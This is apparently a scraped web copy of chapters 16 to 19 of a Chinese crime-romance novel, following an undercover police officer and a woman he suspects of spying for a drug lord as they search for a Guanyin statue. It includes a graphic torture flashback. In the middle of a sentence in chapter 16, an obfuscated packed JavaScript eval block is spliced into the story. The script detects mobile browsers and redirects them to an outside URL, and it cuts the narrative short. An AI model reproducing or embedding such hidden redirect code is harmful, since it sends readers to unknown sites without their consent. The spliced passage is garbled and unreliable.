沈宗野望着衣服的照片点点头,甜筒在他指上转动了一个方向,他吃着不算甜腻的冰,那么慵懒自然地随口一问:“你还拜观音?” “也不是,最近太倒霉了,我想拜拜观音菩萨,请一尊神像在办公室供供。”梁然没再看衣服了,问沈宗野:“你平时拜观音吗?” “我不信神佛。” 梁然“哦”一声。 “但对观音像也有些了解,你求平安,或者是财?”沈宗野说,依旧是极闲恣的姿态。 梁然点头,红唇上扬的弧度是她无声的胜利。 沈宗野上钩了。 “我可以帮你斟酌。”沈宗野伸手,示意梁然将刚才那张观音照片给他看。 梁然点开相册递到他手上,照片停留在刚才那张观音像上。看起来是铜制的雕像,含笑提着一个鱼篮,观音的五官明明跟许多观音像一样慈悲,但不知道为什么,这尊观音仿佛有一股特殊的能量,菩萨的笑脸能让人一眼就平静下来。 沈宗野的心也忽然在这普度众生的眉眼里一点点变得宁静。 最近这两个月他替董自新找过很多观音像,但没有一尊能像此刻这尊观音的眉眼。 他觉得就是这尊观音像了,董自新那里一定不会再回拒他。 “允许你前后翻几张。”梁然说。 沈宗野往左滑动,是一尊站在莲花台上的观音。 他再往前滑,是手持杨柳枝的杨柳观音。 …… 这些观音像的眉眼都很慈悲,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936074|160467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有哪一尊像刚才那尊鱼篮观音一样拥有瞬间净化人心的神奇力量。 沈宗野再往前滑动,照片已经不是观音像了,是梁然的一张自拍。 她穿着清爽利落的棒球服,戴一顶白色棒球帽,头发编成双马尾搭在肩膀上。自拍的照片面部带着潮红和汗水,嘴唇是那种气血很好的粉红色,看起来是运动后拍的,有种青春朝气的漂亮。 沈宗野说一句“抱歉”,往回滑动,停留在那张铜身的鱼篮观音上。 他看了差不多十几秒,往右滑动想从这里翻看下一张,结果差点把手机摁灭。 又是梁然的照片。 不是自拍了,而是对镜拍。 照片里的梁然穿着一件酒红色睡裙,吊带和睡袍挂在手臂上,偏头露出抿唇的侧脸,精致漂亮。她脖颈修长,锁骨分明,浴室的顶灯将那一片起伏的皮肤照得透白。 这张照片极具春光乍泄的美感,有种半遮半掩的引诱。 沈宗野也算在案卷上见过很多,看那些是办案子,此刻也是在办案。 他一秒入戏,舌尖舔舐过口中不算甜腻的冰,微抬下颔倚在沙发上,带着攻击的视线极具穿透力,略染了笑睨向梁然。 他的眼睛幽深,性感,充满了被挑逗的野性。 而原本觉得自己十分有心机的梁然没有沈宗野这么淡定了。 两张照片本来是她刻意安排的,可当他真正第一次用这种充满兴趣的眼神看向她时,她承认她有些没接住这个眼神。 她稍显不解地从沈宗野手上拿过手机一看。 “你翻我相册!” “我以为是你给我看的。”沈宗野难得露出无辜的戏谑。 梁然任由脸颊微微的烫意扩散,摁灭屏幕如常地问他:“观音菩萨都看完了,你有什么建议?” “几尊观音像看下来,推荐你供奉后面这尊鱼篮观音。”沈宗野也恢复如常。 “哪个?”梁然重新把手机给他。 沈宗野接过手机。 画面还停留在梁然的那张对镜自拍上。 沈宗野微抿薄唇,深邃的眼眸里维系着惯常的闲恣。他划走这张照片,拇指落下的瞬间,屏幕升起微烫。 “这张。” 梁然凑近看了眼:“你和我想的一样,我不懂观音,但就觉得这个菩萨的眉眼好慈悲,好像我妈妈,这么说不知道算不算冒犯。我很喜欢这个观音菩萨。” “你好像真的比我懂的样子,那能不能帮我现场把把关?” 梁然昂起漂亮的眼睛,她有一双清醒时诚恳又诱惑的眼眸。 店里的背景音乐在尾声里停止,安静片刻后换成了优美的钢琴曲,竟是《MyHopeIsYou》,梁然留学时无数次在自习室里循环播放的音乐。那时她没有灵感,任由每个音符肆意跳动在她空白的图纸上,灵魂在这首音乐里放空着,又重复着降落地面。 两对年轻靓丽的情侣取了餐坐到他们后排,分享着各自喜欢的味道,音乐声和他们的谈笑声让气氛变得鲜活。 这种气氛仿佛感染到他们这里。 梁然仍认真地等待着。 沈宗野似乎是想了片刻,然后说可以。 梁然弯起唇角。 他果然上钩了。 她说:“但我查了这尊观音菩萨不在这儿,好像在阳城的博物馆。” “阳城?从这里开车应该一两个小时,也不算远。”沈宗野说:“那衣服不赔你了?” “也行吧。” “走吧。”沈宗野说:“正好我办公室也缺一尊观音像。” 梁然只是笑笑。 他的奸滑与拒绝好像也不过如此。 但是幸好,他终于走进她铺的网了。 17. 第 17 章 阳城是宁省一座不算繁华的小城,开车不到两个小时。 谢天明当着司机,载着梁然和沈宗野行驶在高速上。 车上大家无话,谢天明播放出音乐,和沈宗野偶尔聊一些无关痛痒的话题。 梁然一路看着车窗外笔直的树木,随口问沈宗野:“你来过阳城?” 沈宗野坐在副驾驶,他在回云肖的微信,摁灭屏幕淡淡说:“没来过。” 梁然“哦”了声,又看了会儿窗外的风景:“你不是说不信这些吗?” 沈宗野瞥一眼后视镜里的梁然,一如既往的语气:“求财求平安么。” 梁然笑了下,抿了抿唇闭眼靠着椅背:“我睡一会儿。” 沈宗野并没有因为她闭目养神而安静不打扰。 他回着谢天明的话,两个人有太多默契,根本不需要提前约定,知道要开始表演了。 谢天明说起他们颜料网店的生意,然后切入到库房的事。 “弄在滨江会不会太偏了?” 沈宗野:“不偏。” “你觉得他们会找去滨江吗?” 沈宗野冷笑:“除非他们的狗养到我身边来了。” 两人继续演戏。 “这次应该安全吧,这批货要存多久啊?” “回去再说。”沈宗野语气淡然。 谢天明开着车,不到一首歌的时间又问:“这趟要真找对了,董叔这次应该不会拒绝咱们了,那边势力越大,我们横插一脚的动静也就越大,别到时候……” “生意上的事回去再谈。” 沈宗野打断谢天明,取出一支烟在鼻端轻嗅。他淡淡睨一眼后视镜里的梁然,声线低沉:“别让她听见。” 谢天明低低说一声“明白”,把背景音乐稍微调大了,不再谈论这些。 两个人的配合天衣无缝,故意演给梁然这个死对头的监控听。 关于梁然这个“监控”的身份已经被云肖坐实了。 这两天沈宗野派云肖去查,云肖查到梁然早在好几年前就认识向邬道。 向邬道有个手下叫赵诚,因为昧了向邬道的货偷出去交易,被向邬道卸了条腿逃回老家。 云肖找到赵诚,他在照片上一眼认出梁然,毕竟梁然实在太漂亮了,太有辨识度。他说梁然的姐妹是向邬道那时候的女朋友,不过女朋友也只是向邬道随便玩的有钱富家女。向邬道当时本来想泡梁然的,具体后面泡没泡到他就不清楚了,他是在那个时候从向邬道身边逃走了。 云肖又换了别处查,但暂时没有别的渠道能查到梁然更多的信息。只打听到她是个建筑设计师,没什么名气,在网上搜索梁然的名字也查不出她什么作品。 可她那么早就已经认识向邬道,这是铁板钉钉的事。 汽车急速行驶在高速公路上。 副驾驶的空间不够大,沈宗野的长腿无法舒展,他倚着靠背睨向后视镜里闭目睡觉的梁然,香烟在他指尖绕动。直到一抹烈阳穿透车窗照进整个车厢,刺眼的光芒射来,后视镜中梁然的眼皮忍不住跳动了两下。 沈宗野忍不住勾起笑,薄唇微微一抿。 谢天明也看到了,还行,后视镜里的梁然还知道自己眼皮动了,假装翻了个身,侧到另一边继续闭眼装睡。谢天明也勾了下唇角,继续悠哉开车。 沈宗野收纳着后视镜里这拙劣的演技,他还算配合,调小了音乐音量。 其实想一想,如果云肖没发现她是向邬道的人,她此刻的演技应该算不得拙劣的。 毕竟医院外的那个雨夜,她的表演就已经炉火纯青到骗过了他。 梁然没睡太久,他们不再交谈后她便自己醒过来了。 沈宗野说:“下高速了。” “这么快。” “嗯。” 到了阳城博物馆,谢天明将车停好,沈宗野先从副驾驶下来,也许是不用再给梁然赔衣服了,他态度好了很多,亲自为梁然开了车门。 谢天明没下车:“我不爱逛博物馆,没细胞。我在车上玩把游戏。” …… 沈宗野和梁然走出停车场。 阳城不繁华,博物馆也算不得宏伟。雕刻着“阳城博物馆”鎏金字的建筑坐落在蓝天下,展馆外形为仿古设计。 他们穿过博物馆前的广场。烈日当空,虽然气温很高,但两旁绿树成荫,不少老人围坐在树荫下的花坛旁下象棋,笑谈声起伏热闹。 这里没有那种著名景点拍照打卡的成片游客,四周是一股悠闲宁静的慢格调。 博物馆门前有一条窄浅的人工河渠,水面横跨着一座矮桥,桥头的木牌上刻着几个字:风雨平安。 沈宗野和梁然迈上台阶,水里的锦鲤被惊动,摇着尾巴游啊游,躲到了水底。 两个人谁也没说话,走到大门时刷了身份证进入。 进了大厅,周围很安静,一楼没什么人和展馆。 梁然望着宽大的旋转楼梯说:“好像从二楼开始逛?” “嗯。”沈宗野走向楼梯,安静的空间里,他压低的声线格外富有磁性:“你查过在哪个展厅么?” “没有,我们找找看吧。” 两个人从第一个展厅开始参观。馆内的展品大多按历史年份先后排序,从战国到清民,一直走完全部的展厅,两人都没有看到那尊观音像。 沈宗野看不出什么失望,英隽的脸上淡然依旧。 梁然倒有些小失落:“我真挺喜欢这尊观音菩萨的,我们再逛一遍吧?”她问沈宗野。他有一米八几高,梁然只能抬头看他。沈宗野有着完美的脸型骨骼,下颌轮廓分明,淡声说“好”时,脖颈间喉结清晰地滚动。 两个人没什么观览文物的兴致,都在找照片上的观音雕像。 展馆里人渐渐多了起来,馆内依旧很安静,参观的游客也都保持着礼貌小声的分贝。 梁然忽然停在一处屏风文物前。 沈宗野也敷衍式地回头看她一眼,停在他看的一尊明代铜千佛板前等梁然自己跟过来。他们相隔十米,在展厅内属于远的距离。而梁然仰头看眼前的屏风入了神,并没有打算跟上他。 沈宗野转身穿过一排排文物朝梁然走来。他并不介意配合她,这场各自都在表演的伪装里,他可以随时迁就梁然,或者随时不迁就。 “这扇屏风好有意思啊。”梁然望着玻璃背后的屏风说。 沈宗野看了眼,是扇清代的屏风,标注展牌上印着“清王尔烈七十寿屏”,整个屏风有九扇,独占了很大一个展览空间,沈宗野也觉得有些震撼。屏风上有126幅字画,不管是山水还是文字,每幅画展露的都是一个“寿”字,全为乾嘉时期的名流学者所著。 “这么有心意的生日礼物我好喜欢,不知道我过七十大寿的时候能不能收到。”梁然说。 沈宗野淡淡抿唇,有些异想天开的低嘲。 梁然望着他:“我怎么有种错觉,觉得你会送我这个七十大寿的礼物。” 沈宗野薄唇微挑:“你说了,是错觉。”他转身走向别的展厅。 梁然跟上他,忽然停在一处展品前喊出沈宗野的名字。 她的声音有些激动,也满是惊喜,展馆里的游客被打扰到,但也只是看了她一眼便继续正常参观。 沈宗野已经在这一声里走过来,即便是在这种时刻,他的神态依旧镇定到无懈可击。 梁然大喊他,是因为发现了手机上的那尊观音像。 铜鱼篮观音。 注解下的小字标注是由某某收藏企业提供外借展出。 梁然双手抚在玻璃保护罩上,回头 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梁然:“大概什么时候能做好?” “不清楚,快就几天。” 两个人没再说话,也没再继续逛下去,回了停车场。 梁然坐进车厢。 谢天明从驾驶座下了车,问沈宗野要不要买烟,又问梁然要不要喝水。他和沈宗野穿过马路走去一家便利店。 傍晚的太阳不再那么刺眼,阳光透过摇曳的树枝漏下,沈宗野站在树下抽了一支烟。 谢天明问:“找到了吗?” “嗯,这次应该错不了了。” 谢天明笑起来:“可以啊,赶紧回去找个手雕师傅弄出来!”他看了眼对面黑色汽车里梁然的影子,“她还真给找到了,乌鱼这招我没看懂?” “姓向的想打开东南亚的市场,他肯定有别的方法打动董自新。” 沈宗野沉思着,他们和向邬道不一样,专案组在七个月前才查出向邬道这个人,在这之前,向邬道只是他们抓获的小毒贩口里那个没级别接触到的老大。这个案子错综复杂,毒贩关系网也暂时无法摸爬清楚。他只能猜测向邬道是有别的途径求得董自新的帮助,所以才愿意把观音像这种小事交给梁然,让梁然获得他这边的信任。 沈宗野瞥了眼车窗依稀遮掩的身影,摁灭没抽完的烟朝车走去:“现在走一步看一步,先上车吧。” 回到车上,他把一瓶苏打水递给梁然,依旧坐在副驾驶。 回程的车上一路无话,梁然也是真的有些困了,不知道是不是博物馆里空调太凉,刚才喝的苏打水又是冰的缘故,她的偏头痛又隐隐发作,靠在车窗上睡着了。 醒过来时,窗外的路灯已经亮起,夜空蒙着夕阳最后一层薄辉,将灭未明,恍惚有种分不清白日与黑夜的失觉。 梁然刚想看时间,车厢里响起沈宗野低沉的嗓音:“你醒了。” 她这才发现是沈宗野坐在驾驶座,谢天明已经不在车上。 “姓谢的帅哥呢?” “有事去办了。” “这是哪儿啊?”街道有些陌生,看起来还在路上,只是不知道沈宗野什么时候下的高速。 “一个小海滩,还没到市里。” 梁然看了眼时间,已经晚上七点半了。 沈宗野说:“先在附近吃个饭吧。”他找了车位将车停下。 晚风吹得街道两旁的树木沙沙响,长街尽头是一片海,岸边远远亮起露营的灯光。 沈宗野朝那里走去。 梁然没来过这里,偌大一个东北省城,海景同样很漂亮,梁然住的区域没有海,这里应该离顾儒海的酒店还有几十公里。她没犹豫,跟上沈宗野的脚步。 18. 第 18 章 海岸边坐落着一排餐厅,每家店都在门前的海滩上搭了露天帐篷,这处海滩应该不算知名,只有零星散散的游客。 沈宗野问梁然吃哪家,梁然说随意。 沈宗野选了一处露天帐篷坐下。 这家餐厅在海滩上立了一道刷白的墙,墙上有两排发光的黑字:爱隔山海,并不后悔当下的选择。 靠墙放着一把吉他,孤零零的话筒隐没在夜色中,贝壳灯在墙角努力发着光。 见到有客人坐下,店里正抱着快递纸箱的女服务生朝后厨扬声喊:“老板,有客人来了!” 很快走出来一个系着咖啡色围裙、头戴鸭舌帽的青年,他笑容灿烂,很是热情地递上菜单询问他们吃什么。 沈宗野把菜单递给梁然。 “这么便宜。”梁然被菜单上海鲜的价格惊到,她还没在海边吃过这么便宜的海鲜。 青年老板笑着解释:“你们是外地游客才觉得便宜吧,这都是当地正常的价格,不过我们餐厅确实不贵。” 梁然问:“海鲜新鲜吗?” 青年老板请她进屋看。 梁然起身跟老板去店里的水柜边。店倒是不大,水柜里海鲜的种类不多,但每样都很鲜活,皮皮虾灵活地划着水。 梁然点了大海螺,扁玉螺,几只鲍鱼,和青年老板推荐的白蚬子。 梁然回到帐篷下,沈宗野在吸烟,在她坐下的前一秒摁灭了没吸完的半根香烟,余烟被风卷散。 他看了梁然点的菜单,又点了梭子蟹,虾和两杯青柠汁。 几样白灼的海鲜上得很快,沈宗野把一次性手套放到梁然这边,梁然吃了几个海螺,沈宗野还没碰海鲜,只吃着桌上几道凉拌菜。 梁然挑了一个螺肉,蘸上白灼汁放到沈宗野碗里:“你不爱吃吗?” “不爱剥,平时用不着我动手。” 他们的菜很快上齐了,青年老板送了梁然一杯姜汁茶,回到白墙那里打开了音箱。 舒缓的曲调徐徐穿透海岸微腥的风。 沈宗野漫不经心吃着几道凉菜,终于搁下筷子自己动手剥了蟹。 沈宗野是个东北人,队里很多人不知道,谢天明也不知道,只有他爸爸唯一还在世的同事陈局知道,他们所有人都以为他是羊省人,是一个地道的南方青年。 沈宗野出生在宁省一个不起眼的小城,童年的时候经常和一群伙伴来退潮后的海滩捡海鲜,收获最多的是各种贝类。他早过了馋海鲜的年龄,成年后越觉得吃一顿海鲜麻烦。 蟹壳剥掉后,金黄的蟹膏沾到了手指上,察觉梁然在看他,沈宗野问:“你在看什么?” 她在看他那根残疾的拇指:“你不方便的话我给你剥吧?” 沈宗野薄唇一勾,索性搁下蟹,慢斯条理摘下一次性手套,倚进了椅背里。 他维系着一个伪善的坏人惯有的痞气,嫌她剥得慢,拿起一支烟百无聊赖地敲击桌面。 梁然问:“我能知道你的手指是怎么弄的吗?” “生意上的事,对手弄的。”沈宗野没再隐瞒,既然决定让梁然接近他,他自然也要将她圈死在他织的网里。 “啊,这不是犯法吗?” 她看起来很是惊讶:“那你报警了吗?” 沈宗野收纳着她拙劣的演技,弯起薄唇:“没想报警,我也弄了他一根手指。” 梁然一时出神。 沈宗野:“怕我吗?” 她摇头:“确实这样才解气!但手指不是可以接上的吗?现在医疗技术很先进。” 原本是可以接上,但那半根手指被严伟砍碎了。 这事的起因也应该怪他留下了把柄没清理干净。 他是去年底用卧底身份取得老单信任的。 老单是队里费尽功夫才查出来的南城大毒贩,沈宗野的任务原本是配合抓捕。但越深入才越挖到老单背后隐藏的大势力,才知道老单不过只是这股势力背后的一名下线。 他费尽心机取得老单信任,但在半年前,他发现老单的颜料厂外有个中年男人端着摄像机偷拍,当时他支走了云肖他们,为了保中年男人一命,他恐吓放走了那人。 他原本以为那人只有手上的一台相机,毁了相机的内存卡,谁知道那人还藏了一台,他的脸自然进了偷拍的隐蔽相机里。 老单这边利益错综复杂,去年手底下人起了内讧,背着老单在颜料厂悄悄学制毒。老单虽然处理了那几个人,但污染的化学剂排进附近河里,终究没兜住,惊动了社会,又惹恼了上面。上面派了向邬道回来,要清收他的盘子。 云朵颜料厂是被附近村民举报的,老单逃亡时死了,躲过的二十几个手下被向邬道管着,但大家都恨向邬道。 沈宗野当时并没想过攀附向邬道去查他们的贩毒网。 向邬道外号乌鱼,黑心,滑手,没有人性。他疑心重,也当然不会信任老单的弟兄。 沈宗野当时是打算顺着老单留的线索,去找一个叫老万的人,让老万带他投靠董自新。 但正是那时,警方接到一个举报视频,抓捕了沈宗野协助调查。 视频正是他放走的那个偷拍颜料厂的中年男人录的,关于警方怎么会有这个视频,沈宗野不难猜测应该是男人的家属所提供。 24小时的查问时间结束后,虽然他安全出了警局,但向邬道还是没想放过他,利用这件事请示了上头剁他一根手指。 严伟的匕首很锋利,但并没有利落地给沈宗野一刀痛快。他用尖锐的刀刃一一数沈宗野的手指,笑着说“剁哪一只好”,最后索性说让沈宗野跪下服个软,就砍他小拇指就可以了。 沈宗野被按在水泥地上,服软是不可能了。他服不服软都会丢一根手指,严伟的话又怎么能信,他何必让旁边着急的手下再受这种侮辱,他收服云肖一帮人不容易。 严伟的匕首是一点一点划进沈宗野大拇指的,没有那么利落,缓缓拉锯的动作被严伟调笑成拉提琴,希望沈宗野哼首歌配合他。 红色的血流在水泥地上,沈宗野跪在尘埃里,额头青筋暴跳,大颗的汗水密密麻麻。他望着匕首刺眼的寒芒,望着冰冷的刀子割破皮肤,血肉翻出来,最后割不动了,严伟像锯木头一样一点点锯开骨头…… 发抖的牙齿咬破了沈宗野的嘴唇,他的躯体因为疼痛不停抽搐,四周的人或是笑,或是谢天明和云肖他们的哭和骂声。 半根拇指终于终于脱离了身体,掉在沈宗野脸边,严伟按着他抽搐的头,让他看着那截断指被鲜红的匕首插碎…… “哦,还有半根呢。”严伟踩着他手掌笑,“烦你再忍一次,我这次下手快点,不好意思。” 向邬道就坐在沈宗野前面,吐出口雪茄笑着说:“行了,别让弟兄们觉得我苛待老单的人。上头的意思,我也没法子。” 老单早就说过,乌鱼是一条黑心的,滑手的鱼。他既惩罚了沈宗野,熄了上头的火,又震慑了老单一帮手下。 那天沈宗野被谢天明他们飞快抬上车赶去医院,也许是急剧分泌的肾上腺素保护,蜷缩在车厢里的时候已经没有那么痛了。沈宗野那时候想,他爸爸被打碎双腿的时候到底有多痛啊? 谢天明不知道那个视频的事,怪他当时为什么要去驱赶那个男的,就让那个中年人拍完自己就会撤,总归那时候警方已经在村民的举报里暗中调查颜料厂了。 沈宗野输着消炎药水,双眼因为强忍巨大的疼痛有小血管爆裂,眼白都成了红色。他说:“如果你在场,你也会这样做。” 他那时候不出面赶人,那个男人就会被赶来的云肖灭口。不过只是他发现了而已,换做谢天明,换做任何一个卧底警察,他们都会这样做。 说到底这废掉的拇指和那个偷拍的中年男人无关,是向邬道要给老单手下一个威慑,他不过恰好撞在那个关口。 也是在那个月,沈宗野发现审他的那位林警官偷偷监视了他一段时间,他索性没直接来宁省,而是暗中查向邬道,把向邬道私吞老单三千万货的事辗转散了出去。上头自然有耳朵听到了,向邬道丢了一根手指,老单这边的人监督剁的。 云肖打听消息说挺可惜,剁的是小拇指,不像大拇指那样影响生活。 这事沈宗野做得隐蔽,借刀杀人,向邬道虽然怀疑他,但没证据证明是他,总归盯上了他就是了。 而他因为进了一天警局,终归是露过脸的人,老单那边的人没想再要他。省厅的计划原本也是让他来查董自新,所以他也就到了这里。 …… 远处涨潮的海浪拍打着沙滩,耳边音乐声缠绵舒缓。 青年老板很细心地拿来一盘蚊香放在他们桌下,青色烟雾升腾起来又被晚风吹散。 梁然的眼神还落在他那根残疾的拇指上,等 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梁然落后了几步,沈宗野懒得回头,只是见她太久没跟上才回头看了眼。 涨潮的浪花声渐近又退远,梁然捂着被凌冽海风吹乱的头发,站在一个卖奶茶的小吃车前,摊主在和她解释着什么。 她转头跟他说:“我先买杯喝的。” 沈宗野没想等她,转身先去了车上。 没多久梁然回到了车上,手上没拿东西。 他打着方向盘,随口一问:“没买么?” “嗯,时间太久了。” 沈宗野没说可以等她,后座就有矿泉水,他也没伸手替她拿。她是向邬道的眼睛,他没那么多温柔和耐心。 “本来是想喝杯热饮,但摊主要做好久,我怕你等不了。” 再往前就有一排奶茶店,沈宗野没耐心停下,“哦”了声说后座有水。 梁然理着被海风吹打结的头发,事实上是她偏头痛又犯了,就想喝杯热的缓一缓。 海岸边夜晚的空气微凉,可能是刚才海滩边的风太大了,吹得头痛。 这么凌冽的风会让她想起沈茹。 沈茹走的那年是冬天,那年她十五岁,当时画室的老师带着她们在长白山看雪。 刚刚下过一场暴雪,树枝上凝结了白色的霜雪,满目雾凇皑皑,梁然的世界美得不真实。沈茹的电话在那时打来,问她能不能快点回来。 梁然站在雪地里,被同学扔来的雪球砸中脑袋,她哈哈笑着说“我才出来三天妈妈就想我了吗”。沈茹笑了笑,说“嗯,妈妈很想你,真真,很想你。妈妈爱你”。 那是沈茹和她的最后一通电话。 也是沈茹在这个世界上说的最后一句话。 沈茹救了一个跳水轻生的高中女生,岸上的人把木板丢给她们的时候,木板被女生抱紧了,沈茹被她踢到了水底,体力不支沉了下去。 沈茹被救上来后抢救了半小时才醒过来,她腹痛,呕吐,症状很不好,但好在当晚稳定下来了。 可第二天,沈茹肺部原本的积液突然扩大,她昏迷休克,期间醒来时给梁然打了这通电话。 沈茹是双肺严重感染导致的多器官衰竭死亡。 短短两天,她失去了妈妈。 梁然是在傍晚的时候后知后觉那句“妈妈爱你”有些不对。 她给沈茹回去电话,沈茹没接。她打给梁幸均,梁幸均很久都没有说话,她有些哭腔地喊爸爸,梁幸均才说“没有事,妈妈睡了,你明天就回来吧”,他的声音在颤抖。 她给保姆张姨打了电话,张姨才哭着说是“小茹走了”。 那天晚上下了冻雨,车子不能走,风吹得很大。 梁然穿着防滑鞋,下山的路走几步就滑倒一段,她滚出去很远,手套破了,帽子丢了,脑袋磕在树上,头皮破了,她摸到了一点点血。 满目的黑夜望不到边际,全都是雪。风太冷了,吹进喉咙里,吹进眼睛里,吹痛头上的伤口…… 后来,她好像总是会偏头痛,梁幸均带她看过各种医生都治不好。 沈宗野专注开着车,车子经过的一排店铺旁开着两家奶茶店,梁然想去买杯热饮。 只是沈宗野开得很快,梁然张了张唇,最终没有开口,任车子驶向这片陌生城市的夜。 19. 第 19 章 观音像被沈宗野完美地复刻出来,送到梁然手上时几乎跟那天在博物馆看到的一模一样。 这是沈宗野第一次主动进梁然的包厢。 上午沈宗野在微信上说今天能把做好的观音像给梁然,她这会儿忙完工作来了「云上人间」。 这几天他们虽然没再碰过面,但梁然隔一天问一次观音像的进度,沈宗野也能回复一句,没再像从前那样不理她。 窗外已经是傍晚,云霞染红远处的天际。 包厢里只有梁然和沈宗野,桌上几道菜被梁然推到一边,空出半张餐桌,放着那尊慈悲的观音像。观音的眉眼与细节都跟博物馆看到的几乎一样,只是大小上比博物馆的大了些,更方便摆放敬拜。 梁然盯着观音,虔诚地看了好久。 沈宗野坐在她对面,他进门到现在也没有跟她打招呼,径直坐下,见她看观音出神,修长手指慢斯条理拿出烟和打火机。 他抽着烟,梁然合十手掌对观音一拜,才看向沈宗野。 “当着菩萨的面抽烟不好吧。” “如果真有神明,那菩萨应该知道我心里想什么。”沈宗野淡笑,“菩萨不会怪我。” 梁然问:“那你心里在想什么?” 沈宗野的视线落在梁然脸上,像是重新认识一般,盯着她看了很久,似笑非笑的眼底仿佛多了一种兴趣。 梁然勾起红唇,迎着他这种张扬赤裸的眼神,不再像最初那样会怵他,她倚进椅背:“还没回答我呢。” 门外忽然响起两声敲门声。 沈宗野喊“进来”,推门的是云肖。 “宗哥,咱搬得差不多了,给您的地方也大,要不要过去看看?” “仓库也妥了?” “都妥了。” “下去开车。”沈宗野将烟按灭,对梁然说:“你有事么?” “早就下班了,今晚没事。” 梁然心里隐约有些跃动,直到沈宗野问她要不要去走走,她终于可以肯定是她的观音像帮了他大忙。 她点头说“好啊”。 沈宗野起身走到门口等她。 梁然拎上包绕过圆桌,抱着观音像的盒子跟上沈宗野。 “是去哪啊?” “我工作的地方。” “哦?还不知道你做什么工作?”梁然问。 “卖颜料的。”沈宗野说:“开了家网店,员工把公司收拾好了,我过去看看。” 梁然:“怪不得第一次遇到你的时候,你的伞骨上有颜料。” 沈宗野只是淡淡抿了抿唇,按了电梯等她。 梁然拎着包还要抱观音盒子,沈宗野却并没有搭手,电梯下行到车库的一路他也不再说话。 直到梁然走出电梯问:“开我车吗?” 沈宗野说:“坐我车吧,等下送你回来取车。” 梁然放好观音像坐上了沈宗野的车,车上只有云肖坐在驾驶座。 车子开出地下车库,渐渐远离了市区,四周有一种老工业城市的凋零气息。车轮碾过路坑,慢慢减速拐弯。 夜幕笼罩在城市上空,这里稍微偏僻,房屋都是一排排有年代感的老楼,对面马路则坐落着几处厂房,路上行人不多,偶尔几辆汽车穿过。 沈宗野的公司在一座老旧的两层厂房,不知道前身是做什么的,建筑面积不算太大,在一排厂房最后面。背靠一片葱郁的绿植,挨着一条货运小铁路,铁路轨道对面便是条河。晚风吹起时,空气里隐约飘着河岸边绿植的香气。 梁然刚下车就踩到一块碎石子,扶了下车门。 沈宗野说:“这种地儿你没怎么走过吧。” “还好,我的工作经常跑工地。” 沈宗野让云肖把灯打开。 云肖大喊一声“浩子开灯”。 厂区的灯齐刷刷亮了,院中几个大灯照亮空旷的地面。 夜色一瞬间变得明朗,沈宗野回头看了眼梁然才走进大楼。 梁然跟上他的脚步。 这里一楼是办公室,灰色格子间摆放着几台电脑,隔壁是间玻璃明亮的会议室,会议室背后是茶水间。 沈宗野检查着这些工作,穿过茶水间背后长长的过道,是间厨房。 大鱼在厨房里面。 见到沈宗野和梁然,他明显非常惊喜,喊完沈宗野“宗哥”后想喊梁然“嫂子”,那话到嘴边才想起来改口,变成一声“小梁姐”。 “小梁姐,你来得刚好!我刚做完饭,你来尝尝我的手艺!” 梁然笑:“好啊。” 沈宗野扫了眼厨房门外:“他们人呢?” “都在库房呢。” 沈宗野走出厨房的门,梁然对大鱼说等下再尝他的手艺。 对面是他们的库房,一排排货架上堆放着整齐的颜料。 谢天明、云肖和几个梁然见过的青年都在清点一箱箱货品。 沈宗野说:“这么点小生意让你见笑了。” 梁然:“你今晚好像忽然很客气。” “是么。”沈宗野勾了勾唇。 大鱼安排开饭,李浩饿得狠,没洗手就直接捻了块排骨吃。大鱼忙按住李浩的手:“有点礼貌,小梁姐在这儿呢!” 李浩这才停下,那天恶整梁然他也在场,如今见到沈宗野对梁然有了好脸色,即便他能感觉到云肖依旧不喜欢梁然,但他和李浩几个人能看出梁然如今的地位不一般了,他们的态度也没再那么坏。 几个人朝梁然打了招呼。 大鱼招呼梁然和沈宗野过去吃饭,腾出两个宽敞的位置。 方桌上摆了八个菜,除了没有精致的摆盘,倒是香气腾腾。梁然闻着味道就觉得不会差。 她坐下后大鱼给她递来筷子,要她先尝双椒爆辣兔。 梁然在一盘青红椒里夹出一块兔肉,入口肉质鲜嫩,除了辣椒的辛辣还有青花椒的麻,她虽然能吃辣,但还是吃不了这么爆辣的,夹了一块锅包肉压下去。 大鱼眼含期待地看着梁然。 梁然竖起拇指:“我给你投资开店吧,你这完全是大厨的手艺。” 大鱼哈哈笑,几个人都已经在大口刨饭,大鱼对沈宗野说:“宗哥不吃啊?” “吃过了,你们吃。”沈宗野看了眼梁然,转身走出库房。 梁然起身说:“我也吃过了,下次我空着肚子来,你们好好吃。” 她朝沈宗野离开的方向跟去,经过谢天明时,谢天明提醒她:“灯的开关都在过道墙上。” 梁然朝他说了“谢谢”,穿过一条漆黑的过道,摸到开关打开了灯。 沈宗野的脚步在楼上传来,梁然也上了楼梯。 二楼的风有些大,几间房中只有一间亮着灯,依稀照出大厅里沙发、茶几和柜子的轮廓。 梁然走到亮灯的房间,是沈宗野的办公室。 他坐在办公桌后面,宽大的桌面上有电脑、茶具,以及那尊观音像。 他背后的窗开着,晚风灌进来,梁然的裙摆飘起又落下。 沈宗野倚在皮质沙发椅上,见到她,似笑非笑地说:“我这儿环境简陋,随便坐。” “挺好的,开网店这里很适合。” 桌上煮的水开了,沈宗野把茶叶丢到杯子里,滚水冲泡,倒滤出来给梁然:“随便喝点。” 梁然走上前,并没有入坐,在他的办公桌前停下。 沈宗野泡的茶汤不算清透,掺着些茶叶碎渣。梁然放下包,红唇边有浅淡的笑意,把沈宗野倒的那杯茶倒进了垃圾桶里。 沈宗野深邃的眼眸里捕捉不到喜怒,只是晚风有些沁凉。 “你应该很少喝茶吧。” 梁然把杯子放进茶洗里,也把沈宗野那一杯茶倒掉。 她用滚水冲泡杯子,再用夹子将茶杯夹到茶盘上,优雅的动作晃下水渍。 沈宗野薄唇浮现起笑意,倚在靠背中,好整以暇看她的一举一动。 梁然的手很漂亮。 